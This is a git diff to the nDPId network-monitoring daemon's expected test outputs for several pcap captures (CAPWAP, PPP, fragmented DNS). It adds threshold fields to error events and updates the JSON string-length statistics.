00912{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":235,"source":"capwap.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1422329005766358,"flow_src_last_pkt_time":1422329005766854,"flow_dst_last_pkt_time":1422329005766358,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":123,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":123,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":246,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1422329056532011,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"255.255.255.255","src_port":12380,"dst_port":5246,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"CAPWAP","proto_id":"247","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} @@ -44,7 +44,7 @@ 00920{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":235,"source":"capwap.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"finished","flow_src_packets_processed":83,"flow_dst_packets_processed":85,"flow_first_seen":1422329005767224,"flow_src_last_pkt_time":1422329054811998,"flow_dst_last_pkt_time":1422329054811504,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":64,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1457,"flow_dst_max_l4_payload_len":1457,"flow_src_tot_l4_payload_len":19173,"flow_dst_tot_l4_payload_len":19898,"midstream":0,"thread_ts_usec":1422329056532011,"l3_proto":"ip4","src_ip":"192.168.10.9","dst_ip":"192.168.10.10","src_port":5246,"dst_port":12380,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"CAPWAP","proto_id":"247","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00910{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":250,"source":"capwap.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"finished","flow_src_packets_processed":57,"flow_dst_packets_processed":0,"flow_first_seen":1422329017533285,"flow_src_last_pkt_time":1422329067031684,"flow_dst_last_pkt_time":1422329017533285,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":80,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":283,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":7982,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1422329067031684,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"192.168.10.9","src_port":12380,"dst_port":5247,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"CAPWAP","proto_id":"247","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00760{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":270,"source":"capwap.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1422328963915032,"flow_src_last_pkt_time":1422328966914891,"flow_dst_last_pkt_time":1422328963915032,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":41,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":41,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":82,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1422329079031318,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"255.255.255.255","src_port":49259,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} -00186{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":293,"source":"capwap.pcap","alias":"nDPId-test","layer_type":375,"global_ts_usec":1422329091711112} +00286{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1422329091711112,"packet_id":293,"source":"capwap.pcap","alias":"nDPId-test","layer_type":375,"global_ts_usec":1422329091711112} 00793{"packet_event_id":1,"packet_event_name":"packet","packet_id":293,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":389,"pkt_type":375,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":389,"pkt_l4_len":0,"thread_ts_usec":1422329090053500,"pkt":"AQAMzMzMuDhh8wWsAXeqqgMAAAwgAAK0KHQAAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAWR2lnYWJpdEV0aGVybmV0MC4xAAQACAAAAAMACwAFAQAQAAY8KAAZABCkjQABAAA8KAAAMsg="} 00912{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":331,"source":"capwap.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1422329005766358,"flow_src_last_pkt_time":1422329005766854,"flow_dst_last_pkt_time":1422329005766358,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":123,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":123,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":246,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1422329110030492,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"255.255.255.255","src_port":12380,"dst_port":5246,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"CAPWAP","proto_id":"247","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00906{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":331,"source":"capwap.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1422328949167396,"flow_src_last_pkt_time":1422328949167396,"flow_dst_last_pkt_time":1422328949167396,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":65,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":65,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":65,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1422329110030492,"l3_proto":"ip4","src_ip":"192.168.10.9","dst_ip":"192.168.10.10","src_port":5246,"dst_port":12379,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"CAPWAP","proto_id":"247","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} @@ -52,7 +52,7 @@ 00916{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":341,"source":"capwap.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"finished","flow_src_packets_processed":117,"flow_dst_packets_processed":1,"flow_first_seen":1422329017533285,"flow_src_last_pkt_time":1422329119530164,"flow_dst_last_pkt_time":1422329084348788,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":51,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":428,"flow_dst_max_l4_payload_len":126,"flow_src_tot_l4_payload_len":17249,"flow_dst_tot_l4_payload_len":126,"midstream":0,"thread_ts_usec":1422329119530164,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"192.168.10.9","src_port":12380,"dst_port":5247,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"CAPWAP","proto_id":"247","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00760{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":351,"source":"capwap.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1422328963915032,"flow_src_last_pkt_time":1422328966914891,"flow_dst_last_pkt_time":1422328963915032,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":41,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":41,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":82,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1422329129029842,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"255.255.255.255","src_port":49259,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00672{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":358,"source":"capwap.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":3,"flow_src_last_pkt_time":1422329136181809,"flow_dst_last_pkt_time":1422329005766358,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":165,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":165,"pkt_l4_len":131,"thread_ts_usec":1422329136181809,"pkt":"\/\/\/\/\/\/\/\/uDhh8wWsCABFwACXAGlAAP8Rr3rAqAoK\/\/\/\/\/zBcFH4AgwAAACACEAAAAAAGWAogaQ4g\/wAAABMAAGYAABQAAQEAJwAoAgIAAQBAlgAAAAAEAQAAAABAlgAAAQAEBwVmAABAlgAAAgAEDAQZAAApAAEEACwAAQEAJQAKAECWAADPAQAAAQAlABYAQJYAAAVBUGI4MzguNjFmMy4wNWFj"} -00186{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":378,"source":"capwap.pcap","alias":"nDPId-test","layer_type":375,"global_ts_usec":1422329141909488} +00286{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1422329141909488,"packet_id":378,"source":"capwap.pcap","alias":"nDPId-test","layer_type":375,"global_ts_usec":1422329141909488} 00793{"packet_event_id":1,"packet_event_name":"packet","packet_id":378,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":389,"pkt_type":375,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":389,"pkt_l4_len":0,"thread_ts_usec":1422329141029509,"pkt":"AQAMzMzMuDhh8wWsAXeqqgMAAAwgAAK0KHQAAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAWR2lnYWJpdEV0aGVybmV0MC4xAAQACAAAAAMACwAFAQAQAAY8KAAZABCkjQABAAA8KAAAMsg="} 00904{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":379,"source":"capwap.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1422328949167396,"flow_src_last_pkt_time":1422328949167396,"flow_dst_last_pkt_time":1422328949167396,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":65,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":65,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":65,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1422329141029509,"l3_proto":"ip4","src_ip":"192.168.10.9","dst_ip":"192.168.10.10","src_port":5246,"dst_port":12379,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"CAPWAP","proto_id":"247","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00758{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":394,"source":"capwap.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1422328963915032,"flow_src_last_pkt_time":1422328966914891,"flow_dst_last_pkt_time":1422328963915032,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":41,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":41,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":82,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1422329152529070,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"255.255.255.255","src_port":49259,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -75,6 +75,6 @@ ~~ total memory freed........: 6054274 bytes ~~ total allocations/frees...: 121927/121927 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 189 chars +~~ json string min len.......: 289 chars ~~ json string max len.......: 2194 chars -~~ json string avg len.......: 1190 chars +~~ json string avg len.......: 1240 chars diff --git a/test/results/dlt_ppp.pcap.out b/test/results/dlt_ppp.pcap.out index b5ae389d0..0b0d65f4f 100644 --- a/test/results/dlt_ppp.pcap.out +++ b/test/results/dlt_ppp.pcap.out @@ -1,5 +1,5 @@ 00487{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"dlt_ppp.pcap","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} -00173{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":9,"packet_id":1,"source":"dlt_ppp.pcap","alias":"nDPId-test","protocol":33,"global_ts_usec":1031048} +00264{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":9,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1031048,"packet_id":1,"source":"dlt_ppp.pcap","alias":"nDPId-test","protocol":33,"global_ts_usec":1031048} 01933{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"dlt_ppp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1230,"pkt_type":33,"pkt_l3_offset":2,"pkt_l4_offset":0,"pkt_len":1230,"pkt_l4_len":0,"thread_ts_usec":1031048,"pkt":"ACFFAgTMQT1AAD8RDTPBpwD8wadkZKwzAbsEuAAAz\/8AAB0MtxIpOpsU8gzQWdyoBJhpwdcARJZ0OsZN0bl8VJfvOykoeuttM0eMWHJwpGpOPAqWh0GUfp9IIe82zPEOJxxbudM5\/pOWImGkMJYnZKC4oc+Wie817ZluT3qGlbT6FmvR7wgU3ZlqiJlO4+0DRHL4d\/DzL3RfCdhaKCfxoviWr9OOaF9xayHBTgloTkVIbSLderihnwr+mk7qqrStghVdXJFtnOWHTzAMdmPpzaY99oTPzZwWklZzjG9W5shdxiA8ok\/3pt2WMY3QJIDzbHzKP+7ZsLr5YGFFIYxx1JspmQXO5+U3jVl43o7+huGmMmGYHNdWbRYYgFoAkcV642cnCac+cZPVd9ar\/XFRGfd\/WaFVK+zvTNX+exQ7Y3ZIotGRLaPFvGpj3H1W9HNWBEKODu7hETU2OX\/NaZuNjAbfxxKVTC9o6LUxoTVjag4leuFawG3pE6XLxFh9fenfXyYspIGy40nX701+znmPySuhrrYghEKqHVTFz\/fjb5y59pxDqwfx2gz+0tLjNRNMLdNY1Ag+BpNZPQBZDxS1Q4nlCfUqLKWSJpEsd+mHyUC3pRaolG8Jpu68ULGXjJ4ZKS7952WY2QtbjEtiMSGVNPERp0foW+HREy8qKb+tFgJ65NsBWY0E9\/jJGGpFUnix\/C7BDjtX\/ZgK9gfyvVQabBdj7mBntuOhNmnilWaVEIOX7CKCv2V+0LQWQOOVtmTWBQy0XrnBP7R005Av3+pdvoITeQ2zEo762fyDmFlboLbmiVV7z4cyXPPQL6MPya78HzZSLTnm3Xxv8O87bNxZE+T0J9baS33P9HRocrLvAjLFAWSMQbXzM6RAx0uu2+2kxSt4LNQRr+Nvhj9iZm0i+9tU23DVWOg6UFW+uqUPF0ds+jp9XdVBP+b6UC3e79iGd\/QTg4M7OYt7pt75ojnbr+ZjxHE8B0GZ1bPhHUhQ\/439iohTEuvizuLosg\/9ETTUUdbasnXh9D\/+SO51ABAnZvM6SDJ1pj177GYIwa\/ZqyWvarQpS41HFFKu4RYpQHjOT56xqgSjrLEWXyerkTEX8shaJqUzTf0hupuyCJ\/APa3545+ZYzvcCDGD7g4mx1kJ6bCPcx5s\/v5xv0RJBodp9K1hK4v\/DTDZxZGtU5gN0XXnA0WlvhheGJ1S\/ZaCizvBvbTeu8i2DUwd4Wme2LeIVwWL1YRsoozl32VaoHYmsfd7GuS4nwcSIq7qOKc\/v0ngj3r3ND1Z2VcoyXNbqPLJo2kpXaoXlSfOfSzoS+BYoeB3qst\/3RnzIpMan+YfjUUqTAsAH+lgJatdqf9zS60Yl5fSUpCDIosbThj4VOLqNKWrLQjA8v+93FIA3\/NFEDMSuNxj605kSA9S9GRrTJHsR5osW14O2xZRF\/BiXyz77L3\/OW35KvEzzuGXD5Apmt9048cnckQ+W8pGZui61Z81+NpEDiVl5\/7woKFPqgJn9vKV42rT4DXlRToJ8qpzLeevd936RndwoN8DMGcbfT7BT7\/CndBaHTk\/Xoi\/g0FlSSofCargF+zZqnP61iuG15DY\/IC7bC0k3NnOEoXpUUSiCOrtQOJtDXQygOL8Gb9V"} 00543{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":1,"source":"dlt_ppp.pcap","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":4,"global_ts_usec":1031048} ~~~~~~~~~~~~~~~~~~~~ SUMMARY ~~~~~~~~~~~~~~~~~~~~ @@ -14,6 +14,6 @@ ~~ total memory freed........: 6034017 bytes ~~ total allocations/frees...: 121477/121477 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 178 chars +~~ json string min len.......: 269 chars ~~ json string max len.......: 1938 chars -~~ json string avg len.......: 866 chars +~~ json string avg len.......: 905 chars diff --git a/test/results/dns_fragmented.pcap.out b/test/results/dns_fragmented.pcap.out index 3af9c70c5..3c317b1a2 100644 --- a/test/results/dns_fragmented.pcap.out +++ b/test/results/dns_fragmented.pcap.out @@ -5,28 +5,28 @@ 01003{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1558968008021140,"flow_src_last_pkt_time":1558968008021140,"flow_dst_last_pkt_time":1558968008021140,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1558968008021140,"l3_proto":"ip4","src_ip":"172.217.40.76","dst_ip":"193.24.227.238","src_port":56680,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS.Google","proto_id":"5.126","encrypted":0,"breed":"Acceptable","category_id":5,"category":"Web","hostname":"weberlab.de","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":48,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 02498{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_src_last_pkt_time":1558968008021140,"flow_dst_last_pkt_time":1558968008021712,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":1558968008021712,"pkt":"AIac51UUAAwpil3XCABFAAXc0P4gAEARCebBGOPurNkoTAA13WgGrrRj1D+EEAABAAQAAAABCHdlYmVybGFiAmRlAAAwAAHADAAwAAEAAAA8AggBAQMKAwEAAd3v\/e0irXYKOwtYEB3VPe7z99qvi5le9\/y1XXyplp5y\/5xaqrm\/relG8pgx8GsNW2IgviJKAJ6UiU45ERKoH+fz2qf2SUFHFWwkweiWyLZ4EZHhowviCEx94P4OswNKXmdYHe38rlHPa+3OypW9gYfR9lhCKK3neCPq8\/aFFsTTI7dQ+Q2kERWiCMCybl4WOwsBo\/RlnPM4yufMKIlABiM5NWQPNmI6jYzAYpYoyUhd9HnnIIDlNQ89HpXQdFmysMraXYb7qDOoOEiOodttKH0y\/vtJ2SRU05RF4AEumacIUzAi5LL2cMQxC7t7rlDI4X42NRfOLAqGuOeclFjzqz3OdAJWeg\/AAnSbb02AGCkQ370TX1hWveAXt6xpPWOLgHXSLIF\/lz+wl+Dm8ZNWDnn5zEJuEj3xova1g8zmRXJOmqA6VhGqewxF8c+yKeNEOHz4X4\/RLmWHIuEbvboP00Dk5A9bhyZGVsytOJg+NwhFQtvBWLmD82FFtfSt2vmbFFNwAZOnRZWJOG9L7TFcGIm1OEULmohUyFLsBGMXDFOu1k0o6pqm495tsBuMyJNpfdQoPwOkUpsKi6jmNq6vRjvvNiJbcFylTQrqHGTGuOopuUsBbUXj\/nOr4I6j42k6GDIuTyLDkaVrdrxXmGnfNnStdqWmvHXo\/YFwdls9bcT7wAwAMAABAAAAPAEIAQADCgMBAAHQVNwo8VCsO0nmM2u3Mcqv14N851ULDM7hf1Hi2ooDrm7SR4cYS\/ptdvSMUJEyqPCUSF3Clw\/mlYs7YppfPvATwlxTT37RaXRQswUTRh4\/3GtYPxZXJOr+Wr2nwf4Rqm1imNixBim+ZLWFho\/CQdJqyhqg2VT8ongtHWFb9Nojmjr1IXZe0LYFcm0d1eoB5YaBtAcRvhm41KfjcjwpW7jDiMH5W1RgefeOj8kBkIJxjV9i9TB7pjmmAvw91J8s0GTTJqo\/ORsAzT8BHg3y6usJtQVH8ezMMHBFbjtgdGJlMoj4kn1KBk8Jtj9ZxjTIZWIo922PVb8sQqj0JytLOU69wAwALgABAAAAPAIfADAKAgAAADxdChURXOJ+MzN7CHdlYmVybGFiAmRlAB+yP4V\/njTX1ZrAUX52Q4ppNzTYQFwUb\/fZ7UyQYLNxrrstLuUEImGhNwZoGn47E0jCxJscYiApT\/lYiL2L1ySUl4RKqHIjPNuYuibs67t5ZabkYsahlYEA\/lOcM3eIQx9pu5Og7p1d2yBSUETOBiGw2mFf2+ESni6Ue4XPXEEYzAhiMRhuYOJAy8gBqoPjkRBcJfWJSQLCsK1uYySkTZfbAzgJeVM0nXd6azgG0BhRE+LeaO6rN3QVHDtfgnwRdZ0mqwEcP9Ixz7o9MUVSKZ24Kp1QfS5nvEHn5PilNALbZYZOO0cQAeV8BhlxVuALLDecEOLC8sY1mx6ozY5\/aRypyHA9HCrJT0qIHJwgtxE7ldoWyzsz32MKgZvCYMZSPOXK\/W3p61FPtD4iT4Id6xXDvyRuALL3waMUMwy3mSjXDHAdpXWaCOMfYx2IzRk4rN5TDQtUohYwaoSbystwDYKnhZGi9jS0G8FObyWhTrKCl7aTkMBaFEejCh0dfD5WJP+MDS\/TR32BG0S+GtGTl4n1Y8wgyP7nkz3\/REcevkIvpJRUImVc8A\/VPTI+9KvBSkoLPA9Za\/IpqUpgDVsKWU5bp0V0TdEryxvtwOnVXXdH0\/hJMgIgWhmZzY2\/UVoRBVGptWsAIhn5sO+UhcjvZ41p3t\/1mWp23BdUACblNtHcw2MALgABAAAAPAEfADAKAgAAADxdChURXOJ+M5BHCHdlYmVybGFiAmRlAHoYKuiyNMNSWsfXwtRR8n\/pKy73at02yEwt1EoWyfptV8sUoxs="} 01018{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":2,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1558968008021140,"flow_src_last_pkt_time":1558968008021140,"flow_dst_last_pkt_time":1558968008021712,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":1472,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":1472,"midstream":0,"thread_ts_usec":1558968008021712,"l3_proto":"ip4","src_ip":"172.217.40.76","dst_ip":"193.24.227.238","src_port":56680,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS.Google","proto_id":"5.126","encrypted":0,"breed":"Acceptable","category_id":5,"category":"Web","hostname":"weberlab.de","dns": {"num_queries":1,"num_answers":5,"reply_code":0,"query_type":48,"rsp_type":48,"rsp_addr":"0.0.0.0"}}} -00212{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":3,"source":"dns_fragmented.pcap","alias":"nDPId-test","l4_data_len":230,"global_ts_usec":1558968008021729} +00312{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1558968008021729,"packet_id":3,"source":"dns_fragmented.pcap","alias":"nDPId-test","l4_data_len":230,"global_ts_usec":1558968008021729} 00634{"packet_event_id":1,"packet_event_name":"packet","packet_id":3,"source":"dns_fragmented.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":264,"pkt_l4_len":0,"thread_ts_usec":1558968008021712,"pkt":"AIac51UUAAwpil3XCABFAAD60P4AuUARLg\/BGOPurNkoTJJWaQ8FS9tIHo+oVjY51cy6+fgiJNB2zCSb2h1J8D40RJyUZYc0lguNGrMzvogBYnbxInuDKD2B8SGaumxsynJulBSZTde74knucmk+7g4DbM0zyfRD0W3RhD3u0NFdji\/0zmiI817VkCE2GpVvuL3F8KDCC+EMYjJlOHqM+STJxPq9ZF8xJcVITkC6EY6CdRmYmQdqvRYWzDXPjGtyu5XT13H1VC8IJisNUehBDr2PeppANUdXFlyqVQ6mARL6UnTBT0xam7DpmuxycO7BOql2rC7KBJb4lykg9AAAKRAAAACAAAAA"} 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1558968010233766,"flow_src_last_pkt_time":1558968010233766,"flow_dst_last_pkt_time":1558968010233766,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":58,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":58,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":58,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1558968010233766,"l3_proto":"ip6","src_ip":"2a00:1450:4013:c03::10a","dst_ip":"2001:470:765b::a25:53","src_port":46433,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00604{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_src_last_pkt_time":1558968010233766,"flow_dst_last_pkt_time":1558968010233766,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":120,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":120,"pkt_l4_len":66,"thread_ts_usec":1558968010233766,"pkt":"AAwpil3XAIac51UUht1gArj8AEIRayoAFFBAEwwDAAAAAAAAAQogAQRwdlsAAAAAAAAKJQBTtWEANQBC7JLpxAAQAAEAAAAAAAECcGEId2ViZXJsYWICZGUAABwAAQAAKRAAAACAAAAPAAgACwACOAAgAQRwHwsW"} 